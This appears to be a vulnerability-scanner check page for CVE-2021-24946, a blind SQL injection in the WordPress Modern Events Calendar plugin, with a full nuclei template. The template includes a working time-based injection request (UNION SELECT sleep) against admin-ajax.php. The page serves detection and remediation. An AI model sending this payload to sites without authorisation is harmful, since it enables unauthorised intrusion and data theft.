WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection

criticalseverity

9.8CVSS score

72.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.

Fix

Upgrade to WordPress Modern Events Calendar version 6.1.5 or later to mitigate this vulnerability.

How to confirm it

Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 || status_code == 500 and contains(content_type, "text/html") and contains(body, "The event is finished") || contains(body, "been a critical error")

Run it with nuclei: nuclei -id CVE-2021-24946 -u <target>

The full check

id: CVE-2021-24946

info:
  name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to WordPress Modern Events Calendar version 6.1.5 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
    - https://wordpress.org/plugins/modern-events-calendar-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
    - http://packetstormsecurity.com/files/165742/WordPress-Modern-Events-Calendar-6.1-SQL-Injection.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24946
    cwe-id: CWE-89
    epss-score: 0.728
    epss-percentile: 0.99453
    cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webnus
    product: modern_events_calendar_lite
    framework: wordpress
  tags: time-based-sqli,cve2021,cve,sqli,packetstorm,wp,wp-plugin,unauth,wpscan,modern-events-calendar-lite,wordpress,webnus,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from